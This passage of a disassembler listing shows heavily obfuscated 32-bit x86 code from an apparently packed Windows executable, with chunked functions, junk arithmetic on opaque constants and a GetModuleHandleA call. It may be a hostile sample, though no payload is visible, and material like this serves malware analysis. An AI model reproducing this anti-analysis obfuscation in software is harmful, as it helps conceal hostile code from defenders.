		jmp	loc_42458F
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_427BF3:				; CODE XREF: sub_423B05:loc_423A2Bj
					; sub_42387A:loc_4270E3j
		add	eax, 132B10CCh
		add	eax, ebp


loc_427BFB:				; CODE XREF: sub_423B05:loc_423648j
		add	eax, 0EE6D4C16h
		mov	eax, [eax]
		push	eax
		call	sub_4237F4
		jmp	loc_4238B5
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
		ror	esi, 11h
		sbb	edx, esi
		jmp	sub_4289A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_427C18:				; CODE XREF: sub_4262C5:loc_4264EBj
		add	[ebp-0Ah], al
		xor	eax, eax
		mov	al, [ebp-0Ah]
		shr	eax, 4
		xor	[ebp-0Ah], al
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-4]


loc_427C2C:				; CODE XREF: hjohnhn9:loc_428A5Bj
		jmp	loc_42761C
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------


loc_427C31:				; DATA XREF: sub_4278EC-4DAo
		cmp	al, 0A4h
		jnz	loc_427D5C
		jmp	loc_4274AD
; ---------------------------------------------------------------------------
		jmp	loc_427D5C

; =============== S U B	R O U T	I N E =======================================



sub_427C43	proc near		; CODE XREF: sub_428183-4E4Aj
					; hjohnhn9:00424305p ...
		push	offset loc_424B1C
		jmp	nullsub_36
sub_427C43	endp

; ---------------------------------------------------------------------------


loc_427C4D:				; CODE XREF: hjohnhn9:004237B8j
		mov	ds:dword_4252D0, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427C53	proc near		; CODE XREF: sub_426D17-3817p
					; hjohnhn9:0042379Fp ...

; FUNCTION CHUNK AT 00427AA2 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jno	sub_428D0E
		jmp	loc_427AA2
sub_427C53	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_427C61:				; CODE XREF: sub_427C9B-359Ej
		mov	eax, ebp


loc_427C63:				; CODE XREF: sub_427C9B:loc_423433j
		xor	ecx, 0BCAAC869h
		cmp	ecx, 0FCF34Fh
		jmp	loc_424512
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------


loc_427C74:				; DATA XREF: sub_4269BD-28A0o
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_4252DC[eax*4]
		mov	[ebp-8], eax
		jmp	loc_428368
; ---------------------------------------------------------------------------
		sub	ebx, ecx
		cmp	esi, 63D9B48Bh
		jmp	loc_425DDE
; ---------------------------------------------------------------------------


loc_427C99:				; CODE XREF: hjohnhn9:00426045j
		xor	esi, ecx

; =============== S U B	R O U T	I N E =======================================



sub_427C9B	proc near		; CODE XREF: sub_424161+2506p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423433 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00423771 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00424208 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424496 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042451C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004246A8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004246F4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424F76 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00425AF0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004260C3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426176 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00426870 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426DFA SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00427195 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00427C61 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427E76 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042858D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004289DB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00428E0C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429050 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00429112 SIZE 0000000A BYTES

		xchg	edi, [esp+4+var_4]
		pop	edi
		add	eax, ebp
		add	eax, 9A0058C7h
		jmp	loc_427D2F
; ---------------------------------------------------------------------------
		not	eax
		jmp	loc_426DFA
; ---------------------------------------------------------------------------


loc_427CB3:				; CODE XREF: hjohnhn9:loc_426E70j
		jge	loc_4246AB


loc_427CB9:				; CODE XREF: sub_426A78-18EBj
		jmp	loc_4260C3
; ---------------------------------------------------------------------------
		jbe	loc_42627F
		jmp	loc_4246A8
; ---------------------------------------------------------------------------
		xchg	eax, [edx]
		jmp	sub_4246DB
; ---------------------------------------------------------------------------


loc_427CD0:				; DATA XREF: sub_427DE6-1993o
		push	eax
		push	0
		call	sub_424345


loc_427CD8:				; DATA XREF: sub_425EA9-169Do
		or	eax, eax
		jnz	locret_427CE5


loc_427CE0:				; CODE XREF: sub_425EA9:loc_424801j
		call	sub_425B19

locret_427CE5:				; CODE XREF: sub_427C9B+3Fj
		retn
; ---------------------------------------------------------------------------


loc_427CE6:				; CODE XREF: hjohnhn9:loc_428626j
		jl	loc_42719E


loc_427CEC:				; CODE XREF: sub_426523+1F45j
		jmp	nullsub_78
; ---------------------------------------------------------------------------
		js	loc_42323C
		jmp	loc_427195
; ---------------------------------------------------------------------------


loc_427CFC:				; CODE XREF: sub_424698:loc_427657j
		sub	edx, 386F283Ah
		and	edx, 7878DEA8h
		add	edx, 7B703C08h
		call	sub_4279ED


loc_427D13:				; CODE XREF: sub_42325E:loc_4231DAj
		push	eax
		jmp	loc_424208
; ---------------------------------------------------------------------------


loc_427D19:				; CODE XREF: sub_4250FC-1FDCj
		test	ecx, 400000h
		jmp	loc_427E76
; ---------------------------------------------------------------------------


loc_427D24:				; CODE XREF: sub_425B34:loc_425B43j
		sub	esi, 0E320DB65h
		jmp	loc_425AF0
; ---------------------------------------------------------------------------


loc_427D2F:				; CODE XREF: sub_427C9B+Cj
		mov	eax, [eax]
		and	dword ptr [eax+24h], 7FFFFFFFh
		push	offset loc_426150
		jmp	nullsub_37
sub_427C9B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278EC


loc_427D42:				; CODE XREF: sub_4278EC:loc_4279E8j
		jnz	loc_4243F7
		call	sub_425EA9
		mov	edx, 0E5254649h
		call	sub_427C53
		mov	ds:dword_423944, eax


loc_427D5C:				; CODE XREF: sub_426D6A:loc_426D87j
					; hjohnhn9:00427C33j ...
		mov	esp, ebp
		pop	ebp
		push	ds:dword_423944
		jmp	nullsub_43
; END OF FUNCTION CHUNK	FOR sub_4278EC

; =============== S U B	R O U T	I N E =======================================



sub_427D6A	proc near		; DATA XREF: sub_424EC9+3B67o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004231A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425121 SIZE 0000001B BYTES

		push	87648E19h
		pop	edi
		and	edi, 36F77563h
		sub	edi, 1D14370Fh
		jmp	loc_4231A3
sub_427D6A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_427D81:				; CODE XREF: sub_427564-3ABAj
		test	ecx, edi
		jmp	loc_428906
; END OF FUNCTION CHUNK	FOR sub_427564
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_427D89:				; CODE XREF: sub_424631+2302j
		jmp	loc_424F28
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426B29


loc_427D8E:				; CODE XREF: sub_426B29-1896j
					; sub_426B29-188Aj
		call	sub_427A30
		push	offset loc_427619
		jmp	nullsub_38
; END OF FUNCTION CHUNK	FOR sub_426B29

; =============== S U B	R O U T	I N E =======================================



sub_427D9D	proc near		; DATA XREF: sub_424631:loc_428DD1o

; FUNCTION CHUNK AT 00424ED3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004264BC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042838D SIZE 00000005 BYTES

		mov	eax, [ebp+8]
		test	byte ptr [eax-10h], 38h
		jnz	loc_423F3D
		mov	eax, [ebp+8]
		push	eax
		jmp	loc_424ED3
sub_427D9D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_427DB3:				; CODE XREF: sub_424631:loc_424F09j
		jnz	loc_423662
		mov	eax, [ebp+8]
		push	offset loc_425BA2
		jmp	loc_42839C
; END OF FUNCTION CHUNK	FOR sub_424631
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_427DC7:				; CODE XREF: sub_42466E+A35j
		jmp	loc_42424B
; END OF FUNCTION CHUNK	FOR sub_42466E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42855B


loc_427DCD:				; CODE XREF: sub_42855B+6j
		jmp	sub_4230F2
; END OF FUNCTION CHUNK	FOR sub_42855B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237F4


loc_427DD2:				; CODE XREF: sub_4237F4:loc_426B24j
		pop	ebp
		mov	eax, ds:dword_4233A4
		or	eax, eax
		jnz	loc_42680E
		jmp	loc_426B2F
; END OF FUNCTION CHUNK	FOR sub_4237F4

; =============== S U B	R O U T	I N E =======================================



sub_427DE6	proc near		; CODE XREF: sub_427564-2F8Aj
					; sub_427564:loc_426FE9j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425F06 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426449 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004264B2 SIZE 00000005 BYTES

		push	ebx
		push	98984D98h
		pop	ebx
		and	ebx, 6D900BAh
		rol	ebx, 1Ch
		add	ebx, 6AE0741Ah
		xor	ebx, 0EAE9D433h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_425F06
sub_427DE6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424EC9


loc_427E0A:				; CODE XREF: sub_424EC9:loc_4262D5j
		mov	eax, ebx
		xchg	eax, [esp+0]
		mov	[ebp-4], eax
		push	0DBABFA75h
		pop	eax
		xor	eax, 2DBE023Ah
		add	eax, 31B1A774h
		or	eax, ds:4000F3h
		jmp	loc_427298
; END OF FUNCTION CHUNK	FOR sub_424EC9
; ---------------------------------------------------------------------------


loc_427E2F:				; DATA XREF: sub_4246DB+8o
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_4233AC
		or	eax, eax
		jmp	loc_4261EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427032


loc_427E3F:				; CODE XREF: sub_427032:loc_424491j
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]


loc_427E45:				; CODE XREF: sub_4263E3:loc_425056j
		call	sub_426B29
		call	sub_424361


loc_427E4F:				; CODE XREF: sub_428E76+1Cj
		jmp	loc_426847
; END OF FUNCTION CHUNK	FOR sub_427032

; =============== S U B	R O U T	I N E =======================================



sub_427E54	proc near		; DATA XREF: sub_428DDB+9o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423E31 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424127 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428EE5 SIZE 00000006 BYTES

		cdq
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		jmp	loc_424127
sub_427E54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	ebx, 6BB8CAEFh
		jmp	loc_424816
; ---------------------------------------------------------------------------

locret_427E75:				; CODE XREF: hjohnhn9:0042672Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_427E76:				; CODE XREF: sub_427C9B+84j
		jmp	loc_423433
; END OF FUNCTION CHUNK	FOR sub_427C9B

; =============== S U B	R O U T	I N E =======================================



sub_427E7B	proc near		; CODE XREF: sub_424AE3+Cp

; FUNCTION CHUNK AT 00426C6F SIZE 00000005 BYTES

		push	offset dword_424E24
		jmp	loc_426C6F
sub_427E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_427E85	proc near		; CODE XREF: hjohnhn9:004233CEj
					; sub_426F5A:loc_426BA8p

; FUNCTION CHUNK AT 0042418D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00426E75 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427475 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		jz	loc_427475
		lea	eax, [ebp-125h]
		jmp	loc_42418D
sub_427E85	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ebx, eax
		call	sub_4275B2
; START	OF FUNCTION CHUNK FOR sub_426475


loc_427EA1:				; CODE XREF: sub_426475-436j
		jmp	loc_426E9B
; END OF FUNCTION CHUNK	FOR sub_426475
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4235D8


loc_427EA6:				; CODE XREF: sub_4235D8+Bj
		mov	ds:dword_423940, eax
; END OF FUNCTION CHUNK	FOR sub_4235D8
; START	OF FUNCTION CHUNK FOR sub_4278EC


loc_427EAB:				; CODE XREF: hjohnhn9:loc_423C44j
					; sub_427A36-178Bj ...
		js	loc_42382E
		cmp	ds:dword_423944, 0
		jnz	loc_4243F7
		push	offset loc_423815
		jmp	nullsub_44
; END OF FUNCTION CHUNK	FOR sub_4278EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428271


loc_427EC8:				; CODE XREF: sub_428271:loc_4281ACj
		jnz	loc_428EF2
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		push	offset sub_428DDB
		jmp	loc_427F5A
; END OF FUNCTION CHUNK	FOR sub_428271
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_427EE2:				; CODE XREF: sub_423B05:loc_425E64j
		add	ebp, 0CC738441h
		add	esi, 5BCE1CEAh
		cmp	edx, ecx
		jmp	loc_423648
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------


loc_427EF5:				; CODE XREF: hjohnhn9:00424CBAj
		jo	loc_427085
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_427EFB:				; CODE XREF: sub_42851A-3617j
		add	ebx, 7E1A2B03h
		xchg	ebx, [esp+0Ch+var_C]
		jmp	loc_424603
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------


loc_427F09:				; CODE XREF: hjohnhn9:loc_424941j
		xor	edx, 0F82B8AEDh
		push	edx
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_427F10:				; CODE XREF: sub_4263E3:loc_428A14j
		push	esi
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		call	sub_42855B
		call	sub_4262C5
		add	esp, 10h
		jmp	loc_4265E9
; END OF FUNCTION CHUNK	FOR sub_4263E3
; ---------------------------------------------------------------------------
		sbb	edx, 0F867FFC7h
		jmp	sub_428718
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42677F


loc_427F33:				; CODE XREF: sub_42677F:loc_423C56j
		mov	edx, ecx
		xchg	edx, [esp+14h+var_14]
		mov	eax, esp
; END OF FUNCTION CHUNK	FOR sub_42677F
; START	OF FUNCTION CHUNK FOR sub_424819


loc_427F3A:				; CODE XREF: sub_424819+6j
		push	0
		mov	edx, esp
		jmp	loc_4272E4
; END OF FUNCTION CHUNK	FOR sub_424819

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427F43	proc near		; CODE XREF: sub_4262C5:loc_4251E6j
		retn
sub_427F43	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426638


loc_427F44:				; CODE XREF: sub_426638-352Fj
		jmp	loc_426139
; END OF FUNCTION CHUNK	FOR sub_426638
; ---------------------------------------------------------------------------


loc_427F49:				; CODE XREF: hjohnhn9:0042301Cj
					; hjohnhn9:004267A1j
		jmp	loc_426B9C
; ---------------------------------------------------------------------------


loc_427F4E:				; CODE XREF: hjohnhn9:loc_427FE8j
		jz	loc_428BA0
		jmp	loc_4273DD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428271


loc_427F5A:				; CODE XREF: sub_428271-395j
		jmp	nullsub_48
; END OF FUNCTION CHUNK	FOR sub_428271
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426638


loc_427F5F:				; CODE XREF: sub_426638+Bj
		jmp	loc_4230FD
; END OF FUNCTION CHUNK	FOR sub_426638
; ---------------------------------------------------------------------------


loc_427F64:				; CODE XREF: hjohnhn9:00428FE7j
		jz	loc_42476D
		jmp	loc_423075
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_427F70:				; CODE XREF: sub_4278DC+Bj
		jmp	loc_428FEC
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424564


loc_427F75:				; CODE XREF: sub_424564+15j
		jmp	loc_426402
; END OF FUNCTION CHUNK	FOR sub_424564
; ---------------------------------------------------------------------------
		ror	ebp, 11h
		jmp	sub_424E5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_427F82:				; CODE XREF: sub_427852:loc_425156j
		dec	dword ptr [ebp-1Ch]
		jnz	loc_426AA2
		jmp	loc_428883
; END OF FUNCTION CHUNK	FOR sub_427852

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427F90	proc near		; CODE XREF: sub_4278B9-44A1p
					; sub_4241F3+7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042440F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004275E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428496 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428F6C SIZE 00000022 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		jmp	loc_4275E4
sub_427F90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4231AD


loc_427FA4:				; CODE XREF: sub_4231AD:loc_4265C8j
		mov	al, [ebp-5]
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	loc_4249DC
; END OF FUNCTION CHUNK	FOR sub_4231AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_427FAF:				; CODE XREF: sub_4265CD:loc_426B68j
		cmp	ecx, 5E24A82Eh


loc_427FB5:				; CODE XREF: hjohnhn9:00424139j
		jmp	loc_425D6F
; END OF FUNCTION CHUNK	FOR sub_4265CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284CB


loc_427FBA:				; CODE XREF: sub_4284CB:loc_425B97j
		call	nullsub_4


loc_427FBF:				; CODE XREF: sub_4240E6+Bj
					; sub_428ABB+7j
		mov	eax, ds:dword_426E3C
		call	sub_427A58


loc_427FC9:				; CODE XREF: sub_424564+1EC4j
		jmp	loc_426559
; END OF FUNCTION CHUNK	FOR sub_4284CB

; =============== S U B	R O U T	I N E =======================================



sub_427FCE	proc near		; CODE XREF: sub_424A78:loc_427800j
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_423B6C
		pop	ecx
		jmp	loc_4241DB
sub_427FCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_427FDD	proc near		; DATA XREF: sub_4263E3:loc_4290A8o
		push	eax
		ror	eax, 0Eh
		mov	ds:dword_42339C, eax
		retn
sub_427FDD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427FE8:				; CODE XREF: hjohnhn9:004236DFj
		jmp	loc_427F4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_427FED:				; CODE XREF: sub_4263E3+8j
		rol	eax, 0Eh
		jmp	loc_4250A8
; END OF FUNCTION CHUNK	FOR sub_4263E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C0


loc_427FF5:				; CODE XREF: sub_4279C0-15FEj
		mov	al, 1
		pop	edx
		call	edx	; GetModuleHandleA
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_4279A9
; END OF FUNCTION CHUNK	FOR sub_4279C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_428004:				; CODE XREF: sub_427486:loc_427921j
					; hjohnhn9:00427942j
		xor	edx, 0B78BAB96h
		push	eax
		pushf
		push	795F89B4h
		pop	eax
		sub	eax, 0C50DC6EFh
		and	eax, 1CB6C470h
		rol	eax, 1Eh
		jmp	loc_42721D
; END OF FUNCTION CHUNK	FOR sub_427486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423AAF


loc_428027:				; CODE XREF: sub_423AAF+C15j
		jmp	sub_424877
; END OF FUNCTION CHUNK	FOR sub_423AAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4245BA


loc_42802C:				; CODE XREF: sub_4245BA+13j
		jmp	nullsub_46
; END OF FUNCTION CHUNK	FOR sub_4245BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_428031:				; CODE XREF: sub_4262C5+33Aj
		jnz	loc_4264E6
		add	ecx, edi
		add	eax, 699293F1h
		cmp	ebp, 0C0F19894h
		jmp	loc_423C0D
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E8C


loc_42804B:				; CODE XREF: sub_426E8C-25A0j
		jmp	loc_426852
; END OF FUNCTION CHUNK	FOR sub_426E8C
; ---------------------------------------------------------------------------


loc_428050:				; CODE XREF: hjohnhn9:00423510j
		push	eax
		mov	eax, ebp
		xchg	eax, [esp]
		mov	ebp, esp
		push	ecx
		jmp	loc_423E01
; ---------------------------------------------------------------------------


loc_42805E:				; DATA XREF: sub_428ABB+Do
		lea	edx, [ebp-14h]
		mov	eax, offset dword_426E40
		call	sub_427AEB
		lea	eax, [ebp-14h]
		push	eax


loc_42806F:				; CODE XREF: hjohnhn9:loc_428515j
		call	sub_427A36
		jmp	loc_4284D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_428079:				; CODE XREF: sub_42304F+11E4j
		call	sub_428D1E


loc_42807E:				; CODE XREF: sub_4290CF+Aj
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		jmp	loc_424A33
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_42808F:				; CODE XREF: sub_4278DC+1727j
		jnz	loc_42515B
		jmp	loc_424BA3
; ---------------------------------------------------------------------------


loc_42809A:				; CODE XREF: sub_4278DC-3542j
		xor	esi, 0FED4AF4Dh
		add	esi, 637C60D5h
		xchg	esi, [esp+4+var_4]
		jmp	sub_4244F5
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------


loc_4280AE:				; CODE XREF: hjohnhn9:00424444j
					; hjohnhn9:loc_42487Dj
		jnb	loc_427266
		sbb	ebp, 0E6C0B23Ch
		jmp	sub_427324
; ---------------------------------------------------------------------------


loc_4280BF:				; DATA XREF: sub_4240E6:loc_42744Eo
		mov	eax, offset dword_426E40
		call	sub_427AEB
		lea	eax, [ebp-14h]
		push	eax
		jmp	loc_428515

; =============== S U B	R O U T	I N E =======================================



sub_4280D2	proc near		; CODE XREF: hjohnhn9:00424FD8j
					; sub_426475-8F4p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_424AAE
sub_4280D2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	esi
		push	7AA4790Dh
		pop	esi
		and	esi, 0C25CDF42h
		test	esi, 80000000h
		jmp	loc_423265
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428271


loc_4280F6:				; CODE XREF: sub_428271:loc_42350Bj
		adc	edx, [esp+arg_0]
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_427F90
		cmp	eax, [ebp-8]
		jmp	loc_4281AC
; END OF FUNCTION CHUNK	FOR sub_428271
; ---------------------------------------------------------------------------
		jbe	loc_4247F8
		jmp	sub_428C4E
; ---------------------------------------------------------------------------
		mov	edx, 0A1E8B87Bh
		jmp	sub_427994
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_428124:				; CODE XREF: sub_424631+14j
		call	sub_428788


loc_428129:				; CODE XREF: sub_425DE4+9j
		pop	eax
		rol	eax, 1
		sub	eax, ds:4000F0h
		add	eax, 19868220h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_423B9C
		jmp	loc_425B0E
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
		add	edx, ebx
		mov	[edx], ebx
		jmp	sub_4281B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F85


loc_428150:				; CODE XREF: sub_426F85:loc_42726Dj
		test	eax, eax
		jl	loc_428EEB
		push	offset loc_426A97
		jmp	nullsub_81
; END OF FUNCTION CHUNK	FOR sub_426F85

; =============== S U B	R O U T	I N E =======================================



sub_428162	proc near		; CODE XREF: sub_4241D2+4p
					; hjohnhn9:00428A66j
		xchg	esi, [esp+0]
		pop	esi
		call	sub_424698
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_424C37
sub_428162	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427B51


loc_428174:				; CODE XREF: sub_427B51:loc_427B58j
		test	byte ptr [ebp-8], 2
		jz	loc_424C37
		jmp	sub_4234CA
; END OF FUNCTION CHUNK	FOR sub_427B51

; =============== S U B	R O U T	I N E =======================================



sub_428183	proc near		; DATA XREF: sub_428183-4E3Do

; FUNCTION CHUNK AT 0042332F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042335C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424EAA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00428B11 SIZE 00000005 BYTES

		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_424EAA
		jmp	sub_427C43
sub_428183	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428192	proc near		; CODE XREF: sub_428183-4E42p
					; hjohnhn9:loc_4239E7j	...

; FUNCTION CHUNK AT 004247CF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428253 SIZE 0000000A BYTES

		jnb	loc_428253
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		jmp	loc_4247CF
sub_428192	endp

; ---------------------------------------------------------------------------


loc_4281A2:				; DATA XREF: sub_428477-4A9Bo
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_425BF2


loc_4281A3:				; CODE XREF: sub_425BF2:loc_4290C9j
		xchg	esi, [esp-8+arg_4]
		mov	ebp, esi
		pop	esi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_425BF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428271


loc_4281AC:				; CODE XREF: sub_428271-167j
		jmp	loc_427EC8
; END OF FUNCTION CHUNK	FOR sub_428271
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		xchg	edi, esi
		jmp	sub_42636C

; =============== S U B	R O U T	I N E =======================================



sub_4281B9	proc near		; CODE XREF: sub_424631+37Fp
					; hjohnhn9:0042814Bj
		xchg	ebx, [esp+0]
		pop	ebx
		jnz	loc_423F3D
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		push	offset loc_428DC2
		jmp	nullsub_47
sub_4281B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4281D4:				; CODE XREF: hjohnhn9:00425FD7j
		jnz	near ptr dword_4236FC+14h
		jmp	loc_426D46
; ---------------------------------------------------------------------------
		jnp	loc_426889
		jmp	loc_424A75
; ---------------------------------------------------------------------------
